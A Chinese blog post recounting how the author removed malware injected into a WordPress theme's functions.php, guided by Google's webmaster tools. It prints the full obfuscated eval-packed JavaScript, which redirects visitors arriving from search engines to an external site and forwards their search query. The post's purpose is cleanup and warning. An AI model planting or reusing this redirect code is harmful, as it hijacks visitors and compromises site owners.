我有个用 WordPress 搭建的 CMS 网站前些日子被浏览器报受攻击了,谷歌的网站管理也工具也提示,还给出了可疑代码和受影响的文章的地址,以
前被攻击的经历,那次与这次不同,只是挂了几个黑链,这次不同,因此只能手动找代码清除了,刚开始网上搜了搜相关事例,有些博主是在数据库里清除的,但我
的行不通,因为我的问题不在数据库,而在 functions.php 文件。

清除 WordPress 挂马代码:

1. 先是登陆谷歌网站管理工具,在 「故障诊断」 下选择 「恶意软件」 进入存在问题的网址,随便点击一个有问题的网站,谷歌网站管理员工具就会给出 「可疑的植入代码」

<script
language="JavaScript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return

r[e]}];e=function(){return'w+'};c=1};while(c--)if(k[c])p=p.replace(new
RegExp('b'+e(c)+'b','g'),k[c]);return p}('e
r=x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g";4(r.3("j.")!=-1)t="q";4(t.6&&(q=r.3("?"+t+"="))!=-1||(q=r.3("&"+t+"="))!=-))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6).o("&")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>

注:不要在浏览器中执行!

2. 在被挂马博客当前主题的 functions.php 文件中的,找到与谷歌网站管理员工具给出的可疑的植入代码相同的代码,然后把整个 php 语句删除掉,我找到的整句代码如下:(蓝色部分)

3. 然后保存文件。

注:不能确定的博主,可以拿出当前主题的备份主题的 functions.php 文件替换掉原来的。此外删除掉后,在谷歌网站管理员工具中申请审核,否则 chrome 浏览器还会报警告。

PS:我对挂马和代码这些了解不是很清楚,只是参照谷歌网站管理工具给出的相应的可疑植入代码进行清理,合理性有待考察。